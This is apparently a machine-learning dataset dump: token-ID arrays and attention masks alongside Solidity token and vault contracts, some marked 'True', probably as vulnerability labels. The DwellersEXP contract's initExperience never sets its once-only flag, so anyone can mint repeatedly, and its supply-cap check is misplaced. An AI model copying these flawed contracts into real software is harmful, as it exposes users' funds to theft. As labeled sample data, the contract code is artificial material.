4722, 1063, 21318, 3372, 17788, 2575, 3643, 1027, 4675, 1012, 1035, 3643, 1025, 5478, 1006, 3643, 1028, 1014, 1010, 1000, 4675, 1024, 11703, 28578, 4765, 2058, 12314, 1000, 1007, 1025, 4895, 5403, 18141, 1063, 4675, 1012, 1035, 3643, 1027, 3643, 1011, 1015, 1025, 1065, 1065, 3853, 25141, 1006, 4675, 5527, 4675, 1007, 4722, 1063, 4675, 1012, 1035, 3643, 1027, 1014, 1025, 1065, 1065, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-01-16 / //SPDX-License-Identifier: GPL v3 pragma solidity >=0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface EXP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender,address recipient,uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface EXP20Metadata is EXP20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract EXP is EXP20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _maxSupply = 10000000 ether; uint256 private _totalBurned; string private _name = "DwellersEXP"; string private _symbol= "EXP"; bool experienceInitiated = false; constructor() { } function initExperience(address DwellersStaking) external { require(!experienceInitiated, "Experience can only be initiated once"); _mint(msg.sender, 750000 ether); _mint(DwellersStaking, 9250000 ether); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function totalBurned() public view returns(uint256){ return(_totalBurned); } function transferFrom(address sender,address recipient,uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "EXP: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "EXP: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function withdrawToken(address token) public onlyOwner { require(EXP20(token).transfer(msg.sender, EXP20(token).balanceOf(address(this))), "EXP: Cannot withdraw token"); } function burnFrom(address owner, uint256 amount) public virtual returns(bool){ _burn(owner, amount); uint256 currentAllowance = _allowances[owner][_msgSender()]; require(currentAllowance >= amount, "EXP: transfer amount exceeds allowance"); unchecked { _approve(owner, _msgSender(), currentAllowance - amount); } return true; } function _transfer(address sender,address recipient,uint256 amount) internal virtual { require(sender != address(0), "EXP: transfer from the zero address"); require(recipient != address(0), "EXP: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "EXP: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(_totalSupply <= _maxSupply, "EXP: Max Supply reached, cannot mint anymore"); require(account != address(0), "EXP: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function 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pragma solidity ^0.4.11; contract Freewatch { string public name; string public symbol; uint8 public decimals; /* Creates an array with all balances / mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); / Initializes contract with initial supply tokens to the creator of the contract / function Freewatch ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } / Send coins / function transfer(address _to, uint256 _value) { if(msg.data.length < (2 32) + 4) { revert(); } /* Check if sender has balance and for overflows / if (balanceOf[msg.sender] < _value \|\| balanceOf[_to] + _value < balanceOf[_to]) revert(); / Add and subtract new balances / balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; / Notify anyone listening that this transfer took place */ Transfer(msg.sender, _to, _value); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 3206, 2489, 18866, 1063, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 1013, 1008, 9005, 2019, 9140, 2007, 2035, 5703, 2015, 1008, 1013, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1008, 3988, 10057, 3206, 2007, 3988, 4425, 19204, 2015, 2000, 1996, 8543, 1997, 1996, 3206, 1008, 1013, 3853, 2489, 18866, 1006, 21318, 3372, 17788, 2575, 20381, 6279, 22086, 1010, 5164, 19204, 18442, 1010, 21318, 3372, 2620, 26066, 19496, 3215, 1010, 5164, 19204, 6508, 13344, 2140, 1007, 1063, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 20381, 6279, 22086, 1025, 1013, 1013, 2507, 1996, 8543, 2035, 3988, 19204, 2015, 2171, 1027, 19204, 18442, 1025, 1013, 1013, 2275, 1996, 2171, 2005, 4653, 5682, 6454, 1027, 19204, 6508, 13344, 2140, 1025, 1013, 1013, 2275, 1996, 6454, 2005, 4653, 5682, 26066, 2015, 1027, 26066, 19496, 3215, 1025, 1013, 1013, 3815, 1997, 26066, 2015, 2005, 4653, 5682, 1065, 1013, 1008, 4604, 7824, 1008, 1013, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1063, 2065, 1006, 5796, 2290, 1012, 2951, 1012, 3091, 1026, 1006, 1016, 1008, 3590, 1007, 1009, 1018, 1007, 1063, 7065, 8743, 1006, 1007, 1025, 1065, 1013, 1008, 4638, 2065, 4604, 2121, 2038, 5703, 1998, 2005, 2058, 12314, 2015, 1008, 1013, 2065, 1006, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1026, 1035, 3643, 1064, 1064, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1035, 3643, 1026, 5703, 11253, 1031, 1035, 2000, 1033, 1007, 7065, 8743, 1006, 1007, 1025, 1013, 1008, 5587, 1998, 4942, 6494, 6593, 2047, 5703, 2015, 1008, 1013, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1011, 1027, 1035, 3643, 1025, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1027, 1035, 3643, 1025, 1013, 1008, 2025, 8757, 3087, 5962, 2008, 2023, 4651, 2165, 2173, 1008, 1013, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 1035, 2000, 1010, 1035, 3643, 1007, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Strategy { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract yVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; address public governance; address public strategy; constructor (address _token, address _governance, address _strategy) public ERC20Detailed( string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())), string(abi.encodePacked("y", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = _governance; strategy = _strategy; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Strategy(strategy).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setStrategy(address _strategy) public { require(msg.sender == governance, "!governance"); strategy = _strategy; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(strategy, _bal); Strategy(strategy).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function claim(address reserve, uint amount) external { require(msg.sender == governance, "!governance"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(governance, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Strategy(strategy).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } } contract yVaultFactory { mapping(address => address) public vaults; mapping(address => address) public tokens; address[] public vault; address[] public token; address public governance; constructor() public { governance = msg.sender; } function deploy(address _token, address _governance, address _strategy) external { require(msg.sender == governance, "!governance"); require(vaults[_token]==address(0x0), "vault"); address _vault = address(new yVault(_token, _governance, _strategy)); vaults[_token] = _vault; tokens[_vault] = _token; vault.push(_vault); vault.push(_token); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 6123, 1063, 9570, 2953, 1006, 1007, 4722, 1063, 1065, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 3025, 1011, 2240, 2053, 1011, 4064, 1011, 5991, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 3206, 9413, 2278, 11387, 2003, 6123, 1010, 29464, 11890, 11387, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2797, 1035, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2797, 1035, 21447, 2015, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 21948, 6279, 22086, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1035, 21948, 6279, 22086, 1025, 1065, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1035, 5703, 2015, 1031, 4070, 1033, 1025, 1065, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 1035, 4651, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 7799, 1010, 3815, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1035, 21447, 2015, 1031, 3954, 1033, 1031, 5247, 2121, 1033, 1025, 1065, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 1035, 14300, 1006, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 5247, 2121, 1010, 3815, 1007, 1025, 2709, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 